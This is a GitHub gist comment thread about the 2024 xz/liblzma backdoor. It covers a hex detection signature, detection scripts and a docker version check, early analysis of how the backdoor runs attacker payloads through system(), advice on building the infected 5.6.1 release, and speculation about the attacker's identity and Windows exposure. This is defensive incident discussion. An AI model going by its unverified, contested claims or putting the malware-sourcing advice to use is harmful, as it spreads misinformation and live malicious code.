Copy link

Regarding this signature:

f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410

Has anyone been able to actually confirm that this function/binary includes the functionality described in the report? I'm looking at a matching binary and the function that starts with those bytes just chooses different implementation of CRC calculation based on the available instruction set, for which it does indeed call CPUID.

The report also claims some symbols were obfuscated in 5.6.1 but the symbol table looks identical with 5.6.0

@everything411
Copy link

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

Note that the detect.sh script also uses ldd.

path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

Attacking ldd needs some specific conditions. See https://sourceware.org/bugzilla/show_bug.cgi?id=22851.

Anyway, accoding to some current analysis about the backdorr, there is no evidence that the backdoored binary file can attack ldd.

So it seems that it's just ok to use ldd here.

@thesamesam
Copy link
Author

thesamesam commented Mar 30, 2024

Please be patient if I missed anything overnight, as I am just waking up and catching up to many messages on IRC etc.

@AN4364364 Thank you for asking politely. #tukaani on IRC before this incident was a very small, cosy community with about 10 members. I have been a member of the channel for a few years and I was around when the project switched from self-hosted -> github. I followed the Tukaani org and starred the gh repo when it moved and I guess it happened at that point.

My experience is different from the Fedora maintainer as I didn't receive any emails or anything like that encouraging me to update quickly, but then again, we updated quickly by ourselves. Or maybe I didn't receive encouragement because the script maybe checks just for rpm/deb. I don't know.

@LaRevoltage
Copy link

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No, the attacker's target were deb and rpm distros, since they're mainly the ones who patched SSHD for systemd-notifications.

Read https://www.openwall.com/lists/oss-security/2024/03/29/4

The source-based distros are the main enemies here for the attackers, because they're the ones most prone to find these problems. Thanks to @xry111 's contributions in these areas the systems will be much more hardened from now on.

Your accusations are quite dubious, since we're talking about a anonymous attacker in cahoots with a very known & public contributor. We can very well ask about your interest in keeping these unfounded accusations alive, feels like your intentions are less than noble.

I don't think heating this thread up with backwards accusations is great.
Also note that OP says multiple time, that he does not want to blame anyone because he may be wrong, and he is only conducting his own research, which I believe is a good thing to do.

@NuLL3rr0r
Copy link

1000059814

@AN4364364
Copy link

Thank you thesamesam for the response

also to @everything411

We cannot even determine whether Jia Tan is an individual person or a hacker group.

Fake name and VPN ip address cannot indicate any real information about the hacker(s) behind the account.

If people want to withold the IP addresses they have due to some moral belief about that category of previously-public data, I have no argument for that. But if people truly believe the IP address has zero value to ongoing efforts, that is factually wrong. Other parties hold data that may cross over with that user's IP address history (even accounting for false positives and how VPNs work).

Even if it's a, "I'll only give this privately to people who can positively identify themselves and prove they won't act like some Reddit user", that would be helpful and might mitigate the concerns around posting IP addresses publicly.

@everything411
Copy link

everything411 commented Mar 30, 2024

We should take all these information provided by Jia Tan himself as fake ones. fake name, fake ip address, fake country, fake timezone, etc.

What I said not mean that these ip address are of no value, but I don't want there is someone to blame other people just because of these very potentially fake infomation.

@LaRevoltage
Copy link

Is there any updates research on the matter yet?

@pillowtrucker
Copy link

$ echo hey everybody I worked on big commercial strong unix 25 years ago such as the fortress of security AIX and
#

@LaRevoltage
Copy link

About the question of a single individual/group

It seems that the following identities were used in the process prior and after the backdoor implementation:
Hans Jansen’s
Jigar Kumar

Their GitHub accounts are nearly as active as the main Jia account, and where used occasionally for pressuring updates/making one or two commits

It implies that there was actually one person with main account as Jia, and other accounts as his fakes, since a group would have managed to make all 3 accounts active.

Source:
https://boehs.org/node/everything-i-know-about-the-xz-backdoor

@everything411
Copy link

I just don't want anyone here to say something like "A Chinese/Asian name! These bad Chinese/Asian hackers!!".

That's wrong. It is very very likely that Jia Tan is just a fake identity. We cannot decide the one/ones behind Jia Tan.

@LaRevoltage
Copy link

Following the IP question:
First of all, it's not guaranteed that the actor's OPSEC was ideal, in fact, no one's is. If at least one request was made with unchanged IP it is a game over. We should also keep in mind that IP is not the only trace to person's real identity. If the actor didn't use whonix like system to randomify browser data, then he can be traced to at least a country with the language data browser send.

Another aspect is that it is relatively easy to check it the IP belonged to a VPN node or a Tor node, the only exception to this is residential proxies/VPNs. So if the real IP was in fact used in some request it wouldn't be quite hard to parse and determine.

Emails usually contain the IP of mailing computer in headers, were those already checked?

@arizvisa
Copy link

this gist thread is a shitshow. some posts are sensical, but then some are borderline paranoid and delusional. stop accusing accounts/countries/etc and then poking those things everywhere you find them. let the workers work.

@AN4364364
Copy link

replying to the large image posted depicting the "Jia Cheong Tan" name

I found a couple open source software copyright notes that include that name that were indexed by search engines, indicating their code (libarchive contributions) made it into some products.

https://www.tcsag.de/fileadmin/user_upload/Information_Open-Source-Software_PES_Pro_IP.pdf
https://amazon-source-code-downloads.s3.amazonaws.com/eero/eero-embedded/eero-oss-attribution-latest.txt

With zero commentary on the true ethnic background of the bad actor, as I don't think that's their real name, I think "Jia Cheong Tan" and "Jia Tan" are useful search terms. Only because they had to have reused it when operating this persona.

@schkwve
Copy link

schkwve commented Mar 30, 2024

As usual the actor will reveal itself by being most vocal about being innocent.

I personally doubt this would happen given the backdoor appears to be very sophisticated and has taken a lot of time to implement. Thus I can assume that the malicious actor is smart enough to not talk very much.

@snnn
Copy link

snnn commented Mar 30, 2024

I makes me think of one thing: if you ever heard of BinSkim and you add it to your build pipelines, then if anyone ever tried to insert a binary *.o file into your build like this, at least the malicious file needs be compiled with required security flags to prevent common attacks. It's better than doing nothing.

Also, no Linux distro ever run any static code analysis when building their packages. Never. Think how would be possible to insert clang-analyzer or CodeQL into rpm-build. And even if you do, nobody has enough time to address all the false positives.

On Windows we can use ApiValidator tool and a whitelist txt file to validate if all the Windows APIs the binary uses are in the whitelist. By doing this we can add a safety check in our build pipelines to warn us if a new API call was added. For example, if anyone ever tried to use CreateRemoteThread to create injections to another process, at least we could know that. However, it cannot handle indirect calls. Maybe some kind of static analysis could help us generate a list of parameters of all the GetProcAddress calls.

If your build environment is not in an isolated network, an attacker can host their payload in a public cloud storage(like Github) then download it during a build, which makes it hard to trace. For example, Python's manylinux docker images. Even you have verified the crypto checksums when downloading open source software's source code(like libxcrypt), it doesn't prevent them downloading more data during the build.

@arizvisa
Copy link

@NuLL3rr0r: ftr, there's also the jiat75@gmail.com email account from the git logs, even mentioned by the OP, (which "sleuths" seem to have skipped over) that also has a corresponding GH account... but yeah, only internet stalkers care about that crap.

@waterkip
Copy link

Is there any updates research on the matter yet?

I recommend keeping an eye open here: https://openwall.com/lists/oss-security/2024/03/

@waterkip
Copy link

@NuLL3rr0r: ftr, there's also the jiat75@gmail.com email account from the git logs, even mentioned by the OP, (which "sleuths" seem to have skipped over) that also has a corresponding GH account... but yeah, only internet stalkers care about that crap.

I mailmapped the repo yesterday, these are the units they have committed with:

Jia Cheong Tan <jiat0218@gmail.com> Jia Tan <jiat0218@gmail.com>
Jia Cheong Tan <jiat0218@gmail.com> Jia Tan <jiat75@gmail.com>
Jia Cheong Tan <jiat0218@gmail.com> jiat75 <jiat0218@gmail.com>

@MagpieRYL
Copy link

I want to do some analyzing with the samples which I lack yet, like the polluted "sshd" binary or .so files.
Can any guys offer one if you have it? APPRECIATE SO MUCH !

@DanielRuf
Copy link

@arizvisa https://github.com/jiat75 is the "real" account, which commited all the time to xz.

You just don't see the PRs and commits there anymore, because the xz repo was disabled by GitHub.

@evokelektrique
Copy link

Damn

@NuLL3rr0r
Copy link

@snnn thanks for introducing BinSkim! I did not know about that.

I personally do agree with @arizvisa let's stop accusing people with similar names or from a certain country since I as well highly doubt those identities are real identities and the malicious actor is smart enough to still someone else's identity.

@NuLL3rr0r
Copy link

NuLL3rr0r commented Mar 30, 2024

@MagpieRYL you could install a Gentoo instance as I see they still have the ebuilds for 5.6.1 and the infected source archive on their mirrors, but masked it so no one can install it by mistake. But, you can unmask it deliberately and build it from source.

@gh-nate
Copy link

gh-nate commented Mar 30, 2024

I'm watching some folks reverse engineer the xz backdoor, sharing some preliminary analysis with permission.

The hooked RSA_public_decrypt verifies a signature on the server's host key by a fixed Ed448 key, and then passes a payload to system().

It's RCE, not auth bypass, and gated/unreplayable. — https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b

Multiple posts in a thread including ...

Apparently the backdoor reverts back to regular operation if the payload is malformed or the signature from the attacker's key doesn't verify.

Unfortunately, this means that unless a bug is found, we can't write a reliable/reusable over-the-network scanner. — https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowkezwz6g2q

@christoofar
Copy link

How many Docker/LXC images that pulled bleeding somehow managed to incorporate this in the last month, I wonder, because the tarball was pulled. Have already seen Go programmers that use use CGo raise eyebrows because they often take the shortcut to build from a tarball to make the whole build easier.

@smallxu038
Copy link

This command can check whether Docker containers are running the affected version of xz.

docker ps -aq | xargs -I {} docker exec {} sh -c 'xz --version || echo "xz not found"' 2>/dev/null

Clearly, this incident has deepened prejudice and discrimination against Chinese people. I would rather believe that it is a pseudonym for an organization, not a real person :(

@DanielRuf
Copy link

@smallxu038 the origin of the person doesn't matter. And only fools think that it is connected to a specific country.

Even with the version you need more things (see the requirements from the Gist) to be exploitable.

Some people seem to make progress with reverse engineering the payload. Currently there is the assumption that the backdoor allows Remote Code Execution (RCE). See https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b for more details.

@wryMitts
Copy link

wryMitts commented Mar 30, 2024

Windows 11 may be in scope.

Libarchive reviewing Jia Tan commits starting from 2021:
libarchive/libarchive#2103
Windows 11 added Libarchive in 23h2 (released in late 2023/early 2024):
https://support.microsoft.com/en-us/topic/november-14-2023-kb5032190-os-builds-22621-2715-and-22631-2715-f9e3e13c-5e98-42c2-add8-f075841ca812

New! This update adds native support for reading additional archive file formats using the libarchive open-source project, such as:
...
tar.xz
...

The given DLL and support to open tar.xz is observed in earlier versions of Windows 11 including Windows 22H2.

@NuLL3rr0r
Copy link

Windows 11 may be in scope.

Libarchive reviewing Jia Tan commits starting from 2021: libarchive/libarchive#2103 Windows 11 added Libarchive in 23h2 (released in late 2023/early 2024): https://support.microsoft.com/en-us/topic/november-14-2023-kb5032190-os-builds-22621-2715-and-22631-2715-f9e3e13c-5e98-42c2-add8-f075841ca812

New! This update adds native support for reading additional archive file formats using the libarchive open-source project, such as:
...
tar.xz
...

That would make billions of devices vulnerable!! 🤯

@smallxu038
Copy link

@smallxu038 the origin of the person doesn't matter. And only fools think that it is connected to a specific country.

Even with the version you need more things (see the requirements from the Gist) to be exploitable.

Some people seem to make progress with reverse engineering the payload. Currently there is the assumption that the backdoor allows Remote Code Execution (RCE). See https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b for more details.

Yes, what we need to consider now is how to solve security issues and how to prevent such situations from happening again, rather than attacking people from a certain region. Rational people still make up the majority. This attacker is just one step away from causing greater damage, I am still paying attention to this event, thank you for providing the information.

@DanielRuf
Copy link

@NuLL3rr0r there is probably no backdoor. Otherwise we would know more.

I would not jump to conclusions here and assume that every touched project has this backdoor. Currently it's about xz version 5.6.0 and 5.6.1.

Other projects and commits have to be checked before anyone can say for sure, if other projects also have malicious code.

@spawel22
Copy link

@NuLL3rr0r there is probably no backdoor. Otherwise we would know more.

You need to check it first. Wild guessing means nothing.

@DanielRuf
Copy link

@spawel22 that's what "probably" implies. And my last sentence:

Other projects and commits have to be checked before anyone can say for sure, if other projects also have malicious code.

Check / verify first, post facts afterwards.

@wryMitts
Copy link

wryMitts commented Mar 30, 2024

Windows 11 22H2 22621.3007 may contain Jia Tan code. See below.
Windows 11 23H2 may contain more.. not tested yet,

Windows 10 22h2

Windows 10 22H2 19045.4170 has libarchive dll, but may be too old, before Jia Tan added commits:
C:\Windows\WinSxS\amd64_libarchive-internal ... (need to add in your UUID in path if different)
Or C:\Windows\System32\archiveint.dll
Version 3.5.1.0

Oldest Jia Tan commit to libarchive is 2021, but none of those commits are in 3.5.1
libarchive/libarchive@v3.5.0...v3.5.1
3.5.0 released in 2020. Only small bugfixes, nothing from Jia since then.
image

Windows 11 22h2

Commits from Jia Tan present!! libarchive/libarchive@v3.5.1...v3.6.2
Code is in use to open tar.xz archives! See link
Windows 11 22H2 22621.3007 contains libarchive 3.6.2.0:
image

Contains proper strings to match dll version to github version as a sanity check

user$strings archiveint.dll | grep libarchive
libarchive 3.6.2

Xz support compiled in by Microsoft:

$ strings archiveint.dll | grep xz
Can't allocate data for xz decompression
xz initialization failed(%d)
No memory for xz decompression
Truncated xz file body
xz data error (error %d)
xz unknown error %d
xz premature end of stream
archive_write_add_filter_xz
.tar.xz
archive_read_support_compression_xz
archive_read_support_filter_xz
archive_write_add_filter_xz
archive_write_set_compression_xz

Windows 11 23h2

No data available yet, come back later?

@chenrui333
Copy link

it might be good to also callout this oss-fuzz pr, google/oss-fuzz#10667

@thesamesam
Copy link
Author

I'm going to mention the oss-fuzz & libarchive because a lot of people keep asking about it but with some commentary next to it. Just going to eat first.

@wryMitts
Copy link

wryMitts commented Mar 30, 2024

Windows 11 using Jia Tan xz code from libarchive

Initial info

In addition to this info

Windows 11 22H2 22621.3007 support for xz files
image

Windows 11 explorer.exe loads archiveint.dll only AFTER opening any .xz archive

image

@cculianu
Copy link

I just don't want anyone here to say something like "A Chinese/Asian name! These bad Chinese/Asian hackers!!".

That's wrong. It is very very likely that Jia Tan is just a fake identity. We cannot decide the one/ones behind Jia Tan.

Agreed. In fact it's likely the guy isn't Chinese at all and that is 100% misdirection.

@cyclone-github
Copy link

Simple script to detect if your linux distro is vulnerable to CVE-2024-3094
https://github.com/cyclone-github/scripts/blob/main/xz_cve-2024-3094-detect.sh
(This is a fixed and features added version of https://www.openwall.com/lists/oss-security/2024/03/29/4)

@FlyingFathead
Copy link

FlyingFathead commented Mar 30, 2024

How can we prevent this from happening again in the future?

I'm not sure if this would work in practice, but perhaps there should be an automatic A/B / diff check for the tarball contents against the repository's contents and at least a warning flag alongside the package if the contents between the two aren't matching within a stated version number. It could give some early warning on something being off with the tarball.

Then again, if it's just a warning, most people would probably just ignore it anyway, and that approach might either not cover all scenarios, or make certain aspects over-complex. That being said, if tarball files can contain arbitrary contents that do not match the associated commit or tag in the repository, the discrepancy could be exploited maliciously for users relying on the integrity of those releases. There's a general security aspect to this that might have to be enforced from GitHub's end in the future.

The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.

... Which again made the exploit possible to begin with, and serves a reminder on how convenience tends to lead to lapses in security, and how the overall approach to that might need some serious re-evaluation, especially after major incidents like these.

Just my thoughts on this whole thing, feel free to chime in and/or correct me if I'm wrong.

@thesamesam
Copy link
Author

I have my own thoughts about post-mortem but I plan on writing that up when we're out of the storm. Not that people need to wait on me, ofc. Just think: a) still in the heat of it; b) it's too soon to reflect properly and in a clear-headed way yet.

@cw-alexcroteau
Copy link

cw-alexcroteau commented Mar 30, 2024

@thesamesam "We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why."

Based on the latest information, it looks like an RCE (sending the payload to system() rather than bypassing the auth mechanism, after verifying the key) rather than an auth bypass, while I didn't confirm it myself: https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b

The sad thing is it would not be possible to scan if over network because an invalid key or malformed request makes the code fall back to regular operation.

@DoctorWho8
Copy link

What a revolting development this is! I will probably update the three running Linux systems that might be effected.

@teyhouse
Copy link

This is a very rough sketch but may help in detecting the lib inside Docker and Kubernetes (better use Falco, your CNAPP what ever):
https://github.com/teyhouse/CVE-2024-3094

@thesamesam
Copy link
Author

@cw-alexcroteau Thank you, I will assess.

@Sepero
Copy link

Sepero commented Mar 30, 2024

NixOS devs are reporting that the liblzma patch is not applied, and therefore NixOS is not vulnerable to the sshd exploit

Source:
https://discourse.nixos.org/t/cve-2024-3094-malicious-code-in-xz-5-6-0-and-5-6-1-tarballs/42405/23

@DoctorWho8
Copy link

I wonder if Slackware-15.0 and Slackware 64 15.0 is vulnerable?

@TheRsKing
Copy link

if no port is open for ssh, so it was only accessible internally, it is unlikely that someone attacked me, right? (if ssh is the only case)

@cw-alexcroteau
Copy link

cw-alexcroteau commented Mar 30, 2024

if no port is open for ssh, so it was only accessible internally, it is unlikely that someone attacked me, right? (if ssh is the only case)

@TheRsKing based on current knowledge, that's correct. The vulnerability would be triggered by a specific payload with a given public key being sent to an exposed sshd, it doesn't "phone home" to a C2 server.

@TebosBrime
Copy link

How can we prevent this from happening again in the future? Look at the origin of this attack. Xz developer was working a lot, unpayed, and with health problems. Attacker noticed it and exploited the weak point in a human being. Meanwhile, society in general keep sending billions of dollars to Microsoft, but nothing to such important projects as XZ. If we as a society do not help each other, this is meant to be repeated over and over again. My condolences to xz developer. Good luck.

Not only that. I can also imagine that some developers would be tempted by money. Especially if the attacker is state-sponsored, this would definitely be a conceivable scenario that should be considered for the future.

@wryMitts
Copy link

Review on libarchive 3.6.2 (Windows 11 affected) libarchive/libarchive@02cfa8a
dev quote is meaningful:

If not malicious, I'd say on track to be.

@thesamesam
Copy link
Author

@wryMitts I will add a link to libarchive/libarchive#2103 where the review of possibly affected commits is being coordinated.

@zacanger
Copy link

zacanger commented Mar 30, 2024

@smallxu038

This command can check whether Docker containers are running the affected version of xz.

docker ps -aq | xargs -I {} docker exec {} sh -c 'xz --version || echo "xz not found"' 2>/dev/null

Clearly, this incident has deepened prejudice and discrimination against Chinese people. I would rather believe that it is a pseudonym for an organization, not a real person :(

China has 1.4 billion people and some of the top tech companies and universities in the world. We all use Chinese code every day. So whether it's a pseudoynm or not doesn't matter; if anyone's suddenly Sinophobic because of this, they were already Sinophobic, so I wouldn't worry about it.

@DoctorWho8

I wonder if Slackware-15.0 and Slackware 64 15.0 is vulnerable?

Unlikely based on what's been figured out so far, unless you manually installed a later version than is available in the repos, and also got SystemD working.

@LaRevoltage
Copy link

@thesamesam
Copy link
Author

@LaRevoltage Already linked in the FAQ itself now.

@LaRevoltage